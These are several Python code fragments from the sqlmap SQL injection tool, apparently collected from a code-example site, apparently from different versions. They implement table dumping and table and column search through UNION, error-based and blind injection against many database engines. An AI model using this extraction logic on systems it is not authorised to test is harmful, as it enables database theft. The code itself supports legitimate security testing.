                    warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    warnMsg += ", skipping" if len(tblList) > 1 else ""
                    logger.warn(warnMsg)

                    continue

                colList = sorted(
                    filter(
                        None, kb.data.cachedColumns[safeSQLIdentificatorNaming(
                            conf.db)][safeSQLIdentificatorNaming(
                                tbl, True)].keys()))
                colString = ", ".join(column for column in colList)
                rootQuery = queries[Backend.getIdentifiedDbms()].dump_table

                infoMsg = "fetching entries"
                if conf.col:
                    infoMsg += " of column(s) '%s'" % colString
                infoMsg += " for table '%s'" % unsafeSQLIdentificatorNaming(
                    tbl)
                infoMsg += " in database '%s'" % unsafeSQLIdentificatorNaming(
                    conf.db)
                logger.info(infoMsg)

                entriesCount = 0

                if any([
                        isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION),
                        isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR),
                        conf.direct
                ]):
                    entries = []
                    query = None

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.inband.query % (
                            colString, tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD,
                                                         DBMS.MAXDB):
                        query = rootQuery.inband.query % (colString, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        # Partial inband and error
                        if not (isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION)
                                and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].
                                where == PAYLOAD.WHERE.ORIGINAL):
                            table = "%s.%s" % (conf.db, tbl)

                            retVal = pivotDumpTable(table,
                                                    colList,
                                                    blind=False)

                            if retVal:
                                entries, _ = retVal
                                entries = zip(
                                    *[entries[colName] for colName in colList])
                        else:
                            query = rootQuery.inband.query % (colString,
                                                              conf.db, tbl)
                    elif Backend.getIdentifiedDbms() in (DBMS.MYSQL,
                                                         DBMS.PGSQL):
                        query = rootQuery.inband.query % (
                            colString, conf.db, tbl,
                            prioritySortColumns(colList)[0])
                    else:
                        query = rootQuery.inband.query % (colString, conf.db,
                                                          tbl)

                    if not entries and query:
                        entries = inject.getValue(query,
                                                  blind=False,
                                                  dump=True)

                    if isNoneValue(entries):
                        entries = []
                    elif isinstance(entries, basestring):
                        entries = [entries]
                    elif not isListLike(entries):
                        entries = []

                    entriesCount = len(entries)

                    for index, column in enumerate(colList):
                        if column not in kb.data.dumpedTable:
                            kb.data.dumpedTable[column] = {
                                "length": len(column),
                                "values": BigArray()
                            }

                        for entry in entries:
                            if entry is None or len(entry) == 0:
                                continue

                            if isinstance(entry, basestring):
                                colEntry = entry
                            else:
                                colEntry = unArrayizeValue(
                                    entry[index]
                                ) if index < len(entry) else u''

                            _ = len(
                                DUMP_REPLACEMENTS.get(getUnicode(colEntry),
                                                      getUnicode(colEntry)))
                            maxLen = max(len(column), _)

                            if maxLen > kb.data.dumpedTable[column]["length"]:
                                kb.data.dumpedTable[column]["length"] = maxLen

                            kb.data.dumpedTable[column]["values"].append(
                                colEntry)

                if not kb.data.dumpedTable and isInferenceAvailable(
                ) and not conf.direct:
                    infoMsg = "fetching number of "
                    if conf.col:
                        infoMsg += "column(s) '%s' " % colString
                    infoMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                        conf.db)
                    logger.info(infoMsg)

                    if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                        query = rootQuery.blind.count % (
                            tbl.upper() if not conf.db else
                            ("%s.%s" % (conf.db.upper(), tbl.upper())))
                    elif Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                         DBMS.ACCESS,
                                                         DBMS.FIREBIRD):
                        query = rootQuery.blind.count % tbl
                    elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                         DBMS.MSSQL):
                        query = rootQuery.blind.count % ("%s.%s" %
                                                         (conf.db, tbl))
                    elif Backend.isDbms(DBMS.MAXDB):
                        query = rootQuery.blind.count % tbl
                    else:
                        query = rootQuery.blind.count % (conf.db, tbl)
                    count = inject.getValue(query,
                                            inband=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    lengths = {}
                    entries = {}

                    if count == 0:
                        warnMsg = "table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s' " % unsafeSQLIdentificatorNaming(
                            conf.db)
                        warnMsg += "appears to be empty"
                        logger.warn(warnMsg)

                        for column in colList:
                            lengths[column] = len(column)
                            entries[column] = []

                    elif not isNumPosStrValue(count):
                        warnMsg = "unable to retrieve the number of "
                        if conf.col:
                            warnMsg += "column(s) '%s' " % colString
                        warnMsg += "entries for table '%s' " % unsafeSQLIdentificatorNaming(
                            tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            conf.db)
                        logger.warn(warnMsg)

                        continue

                    elif Backend.getIdentifiedDbms() in (DBMS.ACCESS,
                                                         DBMS.SYBASE,
                                                         DBMS.MAXDB,
                                                         DBMS.MSSQL):
                        if Backend.isDbms(DBMS.ACCESS):
                            table = tbl
                        elif Backend.getIdentifiedDbms() in (DBMS.SYBASE,
                                                             DBMS.MSSQL):
                            table = "%s.%s" % (conf.db, tbl)
                        elif Backend.isDbms(DBMS.MAXDB):
                            table = "%s.%s" % (conf.db, tbl)

                        retVal = pivotDumpTable(table,
                                                colList,
                                                count,
                                                blind=True)

                        if retVal:
                            entries, lengths = retVal

                    else:
                        emptyColumns = []
                        plusOne = Backend.getIdentifiedDbms() in (DBMS.ORACLE,
                                                                  DBMS.DB2)
                        indexRange = getLimitRange(count,
                                                   dump=True,
                                                   plusOne=plusOne)

                        if len(colList) < len(
                                indexRange) > CHECK_ZERO_COLUMNS_THRESHOLD:
                            for column in colList:
                                if inject.getValue("SELECT COUNT(%s) FROM %s" %
                                                   (column, kb.dumpTable),
                                                   inband=False,
                                                   error=False) == '0':
                                    emptyColumns.append(column)
                                    debugMsg = "column '%s' of table '%s' will not be " % (
                                        column, kb.dumpTable)
                                    debugMsg += "dumped as it appears to be empty"
                                    logger.debug(debugMsg)

                        try:
                            for index in indexRange:
                                for column in colList:
                                    value = ""

                                    if column not in lengths:
                                        lengths[column] = 0

                                    if column not in entries:
                                        entries[column] = BigArray()

                                    if Backend.getIdentifiedDbms() in (
                                            DBMS.MYSQL, DBMS.PGSQL):
                                        query = rootQuery.blind.query % (
                                            column, conf.db, conf.tbl,
                                            sorted(colList, key=len)[0], index)
                                    elif Backend.getIdentifiedDbms() in (
                                            DBMS.ORACLE, DBMS.DB2):
                                        query = rootQuery.blind.query % (
                                            column, column,
                                            tbl.upper() if not conf.db else
                                            ("%s.%s" %
                                             (conf.db.upper(), tbl.upper())),
                                            index)
                                    elif Backend.isDbms(DBMS.SQLITE):
                                        query = rootQuery.blind.query % (
                                            column, tbl, index)

                                    elif Backend.isDbms(DBMS.FIREBIRD):
                                        query = rootQuery.blind.query % (
                                            index, column, tbl)

                                    value = NULL if column in emptyColumns else inject.getValue(
                                        query,
                                        inband=False,
                                        error=False,
                                        dump=True)

                                    _ = DUMP_REPLACEMENTS.get(
                                        getUnicode(value), getUnicode(value))
                                    lengths[column] = max(
                                        lengths[column], len(_))
                                    entries[column].append(value)

                        except KeyboardInterrupt:
                            clearConsoleLine()
                            warnMsg = "Ctrl+C detected in dumping phase"
                            logger.warn(warnMsg)

                    for column, columnEntries in entries.items():
                        length = max(lengths[column], len(column))

                        kb.data.dumpedTable[column] = {
                            "length": length,
                            "values": columnEntries
                        }

                        entriesCount = len(columnEntries)

                if len(kb.data.dumpedTable) == 0 or (entriesCount == 0
                                                     and kb.permissionFlag):
                    warnMsg = "unable to retrieve the entries "
                    if conf.col:
                        warnMsg += "of columns '%s' " % colString
                    warnMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(
                        tbl)
                    warnMsg += "in database '%s'%s" % (
                        unsafeSQLIdentificatorNaming(conf.db),
                        " (permission denied)" if kb.permissionFlag else "")
                    logger.warn(warnMsg)
                else:
                    kb.data.dumpedTable["__infos__"] = {
                        "count": entriesCount,
                        "table": safeSQLIdentificatorNaming(tbl, True),
                        "db": safeSQLIdentificatorNaming(conf.db)
                    }
                    attackDumpedTable()
                    conf.dumper.dbTableValues(kb.data.dumpedTable)

            except sqlmapConnectionException, e:
                errMsg = "connection exception detected in dumping phase: "
                errMsg += "'%s'" % e
                logger.critical(errMsg)

            finally:
Ejemplo n.º 32
0
    def searchTable(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common table existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                regex = "|".join(conf.tbl.split(","))
                return tableExists(paths.COMMON_TABLES, regex)

        foundTbls = {}
        tblList = conf.tbl.split(",")
        rootQuery = queries[Backend.getIdentifiedDbms()].search_table
        tblCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblConsider, tblCondParam = self.likeOrExact("table")

        for tbl in tblList:
            values = []
            tbl = safeSQLIdentificatorNaming(tbl, True)

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2,
                                               DBMS.FIREBIRD):
                tbl = tbl.upper()

            infoMsg = "searching table"
            if tblConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)

            if dbCond and conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in _) + ")"
                infoMsg += " for database%s '%s'" % ("s" if len(_) > 1 else "",
                                                     ", ".join(db for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(
                    " AND '%s' != %s" %
                    (unsafeSQLIdentificatorNaming(db), dbCond)
                    for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        db for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                whereDbsQuery = ""

            logger.info(infoMsg)

            tblQuery = "%s%s" % (tblCond, tblCondParam)
            tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                query = rootQuery.inband.query

                query = query % (tblQuery + whereDbsQuery)
                values = inject.getValue(query, blind=False, time=False)

                if values and Backend.getIdentifiedDbms() in (DBMS.SQLITE,
                                                              DBMS.FIREBIRD):
                    newValues = []

                    if isinstance(values, basestring):
                        values = [values]
                    for value in values:
                        dbName = "SQLite" if Backend.isDbms(
                            DBMS.SQLITE) else "Firebird"
                        newValues.append(
                            ["%s%s" % (dbName, METADB_SUFFIX), value])

                    values = newValues

                for foundDb, foundTbl in filterPairValues(values):
                    foundDb = safeSQLIdentificatorNaming(foundDb)
                    foundTbl = safeSQLIdentificatorNaming(foundTbl, True)

                    if foundDb is None or foundTbl is None:
                        continue

                    if foundDb in foundTbls:
                        foundTbls[foundDb].append(foundTbl)
                    else:
                        foundTbls[foundDb] = [foundTbl]

            if not values and isInferenceAvailable() and not conf.direct:
                if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
                                                       DBMS.FIREBIRD):
                    if len(whereDbsQuery) == 0:
                        infoMsg = "fetching number of databases with table"
                        if tblConsider == "1":
                            infoMsg += "s like"
                        infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl)
                        logger.info(infoMsg)

                        query = rootQuery.blind.count
                        query = query % (tblQuery + whereDbsQuery)
                        count = inject.getValue(
                            query,
                            union=False,
                            error=False,
                            expected=EXPECTED.INT,
                            charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no databases have table"
                            if tblConsider == "1":
                                warnMsg += "s like"
                            warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
                                tbl)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query
                            query = query % (tblQuery + whereDbsQuery)
                            query = agent.limitQuery(index, query)

                            foundDb = unArrayizeValue(
                                inject.getValue(query,
                                                union=False,
                                                error=False))
                            foundDb = safeSQLIdentificatorNaming(foundDb)

                            if foundDb not in foundTbls:
                                foundTbls[foundDb] = []

                            if tblConsider == "2":
                                foundTbls[foundDb].append(tbl)

                        if tblConsider == "2":
                            continue
                    else:
                        for db in conf.db.split(",") if conf.db else (
                                self.getCurrentDb(), ):
                            db = safeSQLIdentificatorNaming(db)
                            if db not in foundTbls:
                                foundTbls[db] = []
                else:
                    dbName = "SQLite" if Backend.isDbms(
                        DBMS.SQLITE) else "Firebird"
                    foundTbls["%s%s" % (dbName, METADB_SUFFIX)] = []

                for db in foundTbls.keys():
                    db = safeSQLIdentificatorNaming(db)

                    infoMsg = "fetching number of table"
                    if tblConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s' in database '%s'" % (
                        unsafeSQLIdentificatorNaming(tbl),
                        unsafeSQLIdentificatorNaming(db))
                    logger.info(infoMsg)

                    query = rootQuery.blind.count2
                    if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
                                                           DBMS.FIREBIRD):
                        query = query % unsafeSQLIdentificatorNaming(db)
                    query += " AND %s" % tblQuery

                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no table"
                        if tblConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl)
                        warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                            db)
                        logger.warn(warnMsg)

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query2

                        if query.endswith("'%s')"):
                            query = query[:-1] + " AND %s)" % tblQuery
                        else:
                            query += " AND %s" % tblQuery

                        if Backend.isDbms(DBMS.FIREBIRD):
                            query = safeStringFormat(query, index)

                        if Backend.getIdentifiedDbms() not in (DBMS.SQLITE,
                                                               DBMS.FIREBIRD):
                            query = safeStringFormat(
                                query, unsafeSQLIdentificatorNaming(db))

                        if not Backend.isDbms(DBMS.FIREBIRD):
                            query = agent.limitQuery(index, query)

                        foundTbl = unArrayizeValue(
                            inject.getValue(query, union=False, error=False))
                        if not isNoneValue(foundTbl):
                            kb.hintValue = foundTbl
                            foundTbl = safeSQLIdentificatorNaming(
                                foundTbl, True)
                            foundTbls[db].append(foundTbl)

        for db in foundTbls.keys():
            if isNoneValue(foundTbls[db]):
                del foundTbls[db]

        if not foundTbls:
            warnMsg = "no databases contain any of the provided tables"
            logger.warn(warnMsg)
            return

        conf.dumper.dbTables(foundTbls)
        self.dumpFoundTables(foundTbls)
Ejemplo n.º 33
0
    def searchColumn(self):
        bruteForce = False

        if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
            errMsg = "information_schema not available, "
            errMsg += "back-end DBMS is MySQL < 5.0"
            bruteForce = True

        if bruteForce:
            message = "do you want to use common column existence check? %s" % (
                "[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS, )
                else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise SqlmapUserQuitException
            else:
                regex = '|'.join(conf.col.split(','))
                conf.dumper.dbTableColumns(
                    columnExists(paths.COMMON_COLUMNS, regex))

                message = "do you want to dump entries? [Y/n] "
                output = readInput(message, default="Y")

                if output and output[0] not in ("n", "N"):
                    self.dumpAll()

                return

        rootQuery = queries[Backend.getIdentifiedDbms()].search_column
        foundCols = {}
        dbs = {}
        whereDbsQuery = ""
        whereTblsQuery = ""
        infoMsgTbl = ""
        infoMsgDb = ""
        colList = conf.col.split(",")

        if conf.excludeCol:
            colList = [
                _ for _ in colList if _ not in conf.excludeCol.split(',')
            ]

        origTbl = conf.tbl
        origDb = conf.db
        colCond = rootQuery.inband.condition
        dbCond = rootQuery.inband.condition2
        tblCond = rootQuery.inband.condition3
        colConsider, colCondParam = self.likeOrExact("column")

        for column in colList:
            values = []
            column = safeSQLIdentificatorNaming(column)
            conf.db = origDb
            conf.tbl = origTbl

            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                column = column.upper()

            infoMsg = "searching column"
            if colConsider == "1":
                infoMsg += "s like"
            infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)

            foundCols[column] = {}

            if conf.tbl:
                _ = conf.tbl.split(",")
                whereTblsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl))
                    for tbl in _) + ")"
                infoMsgTbl = " for table%s '%s'" % (
                    "s" if len(_) > 1 else "", ", ".join(
                        unsafeSQLIdentificatorNaming(tbl) for tbl in _))

            if conf.db and conf.db != CURRENT_DB:
                _ = conf.db.split(",")
                whereDbsQuery = " AND (" + " OR ".join(
                    "%s = '%s'" % (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in _) + ")"
                infoMsgDb = " in database%s '%s'" % (
                    "s" if len(_) > 1 else "", ", ".join(
                        unsafeSQLIdentificatorNaming(db) for db in _))
            elif conf.excludeSysDbs:
                whereDbsQuery = "".join(
                    " AND %s != '%s'" %
                    (dbCond, unsafeSQLIdentificatorNaming(db))
                    for db in self.excludeDbsList)
                infoMsg2 = "skipping system database%s '%s'" % (
                    "s" if len(self.excludeDbsList) > 1 else "", ", ".join(
                        unsafeSQLIdentificatorNaming(db)
                        for db in self.excludeDbsList))
                logger.info(infoMsg2)
            else:
                infoMsgDb = " across all databases"

            logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

            colQuery = "%s%s" % (colCond, colCondParam)
            colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

            if any(
                    isTechniqueAvailable(_)
                    for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR,
                              PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
                if not all((conf.db, conf.tbl)):
                    # Enumerate tables containing the column provided if
                    # either of database(s) or table(s) is not provided
                    query = rootQuery.inband.query
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    values = inject.getValue(query, blind=False, time=False)
                else:
                    # Assume provided databases' tables contain the
                    # column(s) provided
                    values = []

                    for db in conf.db.split(","):
                        for tbl in conf.tbl.split(","):
                            values.append([
                                safeSQLIdentificatorNaming(db),
                                safeSQLIdentificatorNaming(tbl, True)
                            ])

                for db, tbl in filterPairValues(values):
                    db = safeSQLIdentificatorNaming(db)
                    tbls = tbl.split(",") if not isNoneValue(tbl) else []

                    for tbl in tbls:
                        tbl = safeSQLIdentificatorNaming(tbl, True)

                        if db is None or tbl is None:
                            continue

                        conf.db = db
                        conf.tbl = tbl
                        conf.col = column

                        self.getColumns(onlyColNames=True,
                                        colTuple=(colConsider, colCondParam),
                                        bruteForce=False)

                        if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                                db]:
                            if db not in dbs:
                                dbs[db] = {}

                            if tbl not in dbs[db]:
                                dbs[db][tbl] = {}

                            dbs[db][tbl].update(kb.data.cachedColumns[db][tbl])

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

                        kb.data.cachedColumns = {}

            if not values and isInferenceAvailable() and not conf.direct:
                if not conf.db:
                    infoMsg = "fetching number of databases with tables containing column"
                    if colConsider == "1":
                        infoMsg += "s like"
                    infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column)
                    logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb))

                    query = rootQuery.blind.count
                    query = query % (colQuery + whereDbsQuery + whereTblsQuery)
                    count = inject.getValue(query,
                                            union=False,
                                            error=False,
                                            expected=EXPECTED.INT,
                                            charsetType=CHARSET_TYPE.DIGITS)

                    if not isNumPosStrValue(count):
                        warnMsg = "no databases have tables containing column"
                        if colConsider == "1":
                            warnMsg += "s like"
                        warnMsg += " '%s'" % unsafeSQLIdentificatorNaming(
                            column)
                        logger.warn("%s%s" % (warnMsg, infoMsgTbl))

                        continue

                    indexRange = getLimitRange(count)

                    for index in indexRange:
                        query = rootQuery.blind.query
                        query = query % (colQuery + whereDbsQuery +
                                         whereTblsQuery)
                        query = agent.limitQuery(index, query)

                        db = unArrayizeValue(
                            inject.getValue(query, union=False, error=False))
                        db = safeSQLIdentificatorNaming(db)

                        if db not in dbs:
                            dbs[db] = {}

                        if db not in foundCols[column]:
                            foundCols[column][db] = []
                else:
                    for db in conf.db.split(",") if conf.db else (
                            self.getCurrentDb(), ):
                        db = safeSQLIdentificatorNaming(db)
                        if db not in foundCols[column]:
                            foundCols[column][db] = []

                origDb = conf.db
                origTbl = conf.tbl

                for column, dbData in foundCols.items():
                    colQuery = "%s%s" % (colCond, colCondParam)
                    colQuery = colQuery % unsafeSQLIdentificatorNaming(column)

                    for db in dbData:
                        conf.db = origDb
                        conf.tbl = origTbl

                        infoMsg = "fetching number of tables containing column"
                        if colConsider == "1":
                            infoMsg += "s like"
                        infoMsg += " '%s' in database '%s'" % (
                            unsafeSQLIdentificatorNaming(column),
                            unsafeSQLIdentificatorNaming(db))
                        logger.info(infoMsg)

                        query = rootQuery.blind.count2
                        query = query % unsafeSQLIdentificatorNaming(db)
                        query += " AND %s" % colQuery
                        query += whereTblsQuery

                        count = inject.getValue(
                            query,
                            union=False,
                            error=False,
                            expected=EXPECTED.INT,
                            charsetType=CHARSET_TYPE.DIGITS)

                        if not isNumPosStrValue(count):
                            warnMsg = "no tables contain column"
                            if colConsider == "1":
                                warnMsg += "s like"
                            warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(
                                column)
                            warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(
                                db)
                            logger.warn(warnMsg)

                            continue

                        indexRange = getLimitRange(count)

                        for index in indexRange:
                            query = rootQuery.blind.query2

                            if query.endswith("'%s')"):
                                query = query[:-1] + " AND %s)" % (
                                    colQuery + whereTblsQuery)
                            else:
                                query += " AND %s" % (colQuery +
                                                      whereTblsQuery)

                            query = safeStringFormat(
                                query, unsafeSQLIdentificatorNaming(db))
                            query = agent.limitQuery(index, query)

                            tbl = unArrayizeValue(
                                inject.getValue(query,
                                                union=False,
                                                error=False))
                            kb.hintValue = tbl

                            tbl = safeSQLIdentificatorNaming(tbl, True)

                            conf.db = db
                            conf.tbl = tbl
                            conf.col = column

                            self.getColumns(onlyColNames=True,
                                            colTuple=(colConsider,
                                                      colCondParam),
                                            bruteForce=False)

                            if db in kb.data.cachedColumns and tbl in kb.data.cachedColumns[
                                    db]:
                                if db not in dbs:
                                    dbs[db] = {}

                                if tbl not in dbs[db]:
                                    dbs[db][tbl] = {}

                                dbs[db][tbl].update(
                                    kb.data.cachedColumns[db][tbl])

                            kb.data.cachedColumns = {}

                            if db in foundCols[column]:
                                foundCols[column][db].append(tbl)
                            else:
                                foundCols[column][db] = [tbl]

        if dbs:
            conf.dumper.dbColumns(foundCols, colConsider, dbs)
            self.dumpFoundColumn(dbs, foundCols, colConsider)
        else:
            warnMsg = "no databases have tables containing any of the "
            warnMsg += "provided columns"
            logger.warn(warnMsg)
Ejemplo n.º 34
0
    def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None):
        self.forceDbmsEnum()

        if conf.db is None or conf.db == CURRENT_DB:
            if conf.db is None:
                warnMsg = "missing database parameter. sqlmap is going "
                warnMsg += "to use the current database to enumerate "
                warnMsg += "table(s) columns"
                logger.warn(warnMsg)

            conf.db = self.getCurrentDb()

        elif conf.db is not None:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.db = conf.db.upper()

            if  ',' in conf.db:
                errMsg = "only one database name is allowed when enumerating "
                errMsg += "the tables' columns"
                raise sqlmapMissingMandatoryOptionException, errMsg

        conf.db = safeSQLIdentificatorNaming(conf.db)

        if conf.col:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.col = conf.col.upper()

            colList = conf.col.split(",")
        else:
            colList = []

        for col in colList:
            colList[colList.index(col)] = safeSQLIdentificatorNaming(col)

        colList = filter(None, colList)

        if conf.tbl:
            if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                conf.tbl = conf.tbl.upper()

            tblList = conf.tbl.split(",")
        else:
            self.getTables()

            if len(kb.data.cachedTables) > 0:
                if conf.db in kb.data.cachedTables:
                    tblList = kb.data.cachedTables[conf.db]
                else:
                    tblList = kb.data.cachedTables.values()

                if isinstance(tblList[0], (set, tuple, list)):
                    tblList = tblList[0]

                tblList = list(tblList)
            else:
                errMsg = "unable to retrieve the tables "
                errMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                raise sqlmapNoneDataException, errMsg

        for tbl in tblList:
            tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)

        if bruteForce is None:
            if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                errMsg = "information_schema not available, "
                errMsg += "back-end DBMS is MySQL < 5.0"
                logger.error(errMsg)
                bruteForce = True

            elif Backend.isDbms(DBMS.ACCESS):
                errMsg = "cannot retrieve column names, "
                errMsg += "back-end DBMS is Access"
                logger.error(errMsg)
                bruteForce = True

        if bruteForce or colList:
            resumeAvailable = False

            for tbl in tblList:
                for db, table, colName, colType in kb.brute.columns:
                    if db == conf.db and table == tbl:
                        resumeAvailable = True
                        break

            if resumeAvailable or colList:
                columns = {}

                for column in colList:
                    columns[column] = None

                for tbl in tblList:
                    for db, table, colName, colType in kb.brute.columns:
                        if db == conf.db and table == tbl:
                            columns[colName] = colType

                    if conf.db in kb.data.cachedColumns:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)] = columns
                    else:
                        kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)] = {safeSQLIdentificatorNaming(tbl, True): columns}

                return kb.data.cachedColumns

            message = "do you want to use common column existence check? %s" % ("[Y/n/q]" if Backend.getIdentifiedDbms() in (DBMS.ACCESS,) else "[y/N/q]")
            test = readInput(message, default="Y" if "Y" in message else "N")

            if test[0] in ("n", "N"):
                return
            elif test[0] in ("q", "Q"):
                raise sqlmapUserQuitException
            else:
                return columnExists(paths.COMMON_COLUMNS)

        rootQuery = queries[Backend.getIdentifiedDbms()].columns
        condition = rootQuery.blind.condition if 'condition' in rootQuery.blind else None

        if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
            for tbl in tblList:
                if conf.db is not None and len(kb.data.cachedColumns) > 0 \
                   and conf.db in kb.data.cachedColumns and tbl in \
                   kb.data.cachedColumns[conf.db]:
                    infoMsg = "fetched tables' columns on "
                    infoMsg += "database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                    logger.info(infoMsg)

                    return {conf.db: kb.data.cachedColumns[conf.db]}

                infoMsg = "fetching columns "

                if len(colList) > 0:
                    if colTuple is None:
                        colConsider, colCondParam = self.likeOrExact("column")
                    else:
                        colConsider, colCondParam = colTuple
                    condQueryStr = "%%s%s" % colCondParam
                    condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList))

                    if colConsider == "1":
                        infoMsg += "like '%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                    else:
                        infoMsg += "'%s' " % ", ".join(unsafeSQLIdentificatorNaming(col) for col in sorted(colList))
                else:
                    condQuery = ""

                infoMsg += "for table '%s' " % unsafeSQLIdentificatorNaming(tbl)
                infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
                logger.info(infoMsg)

                if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
                    query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db))
                    query += condQuery
                elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2):
                    query = rootQuery.inband.query % unsafeSQLIdentificatorNaming(tbl.upper())
                    query += condQuery
                elif Backend.isDbms(DBMS.MSSQL):
                    query = rootQuery.inband.query % (conf.db, conf.db, conf.db, conf.db,
                                                      conf.db, conf.db, conf.db, unsafeSQLIdentificatorNaming(tbl).split(".")[-1])
                    query += condQuery.replace("[DB]", conf.db)
                elif Backend.isDbms(DBMS.SQLITE):
                    query = rootQuery.inband.query % tbl

                value = inject.getValue(query, blind=False, time=False)

                if Backend.isDbms(DBMS.SQLITE):
                    parseSqliteTableSchema(unArrayizeValue(value))
                elif not isNoneValue(value):
                    table = {}
                    columns = {}

                    for columnData in value:
                        if not isNoneValue(columnData):
                            name = safeSQLIdentificatorNaming(columnData[0])

                            if name:
                                if len(columnData) == 1:
                                    columns[name] = ""
                                else:
                                    columns[name] = columnData[1]

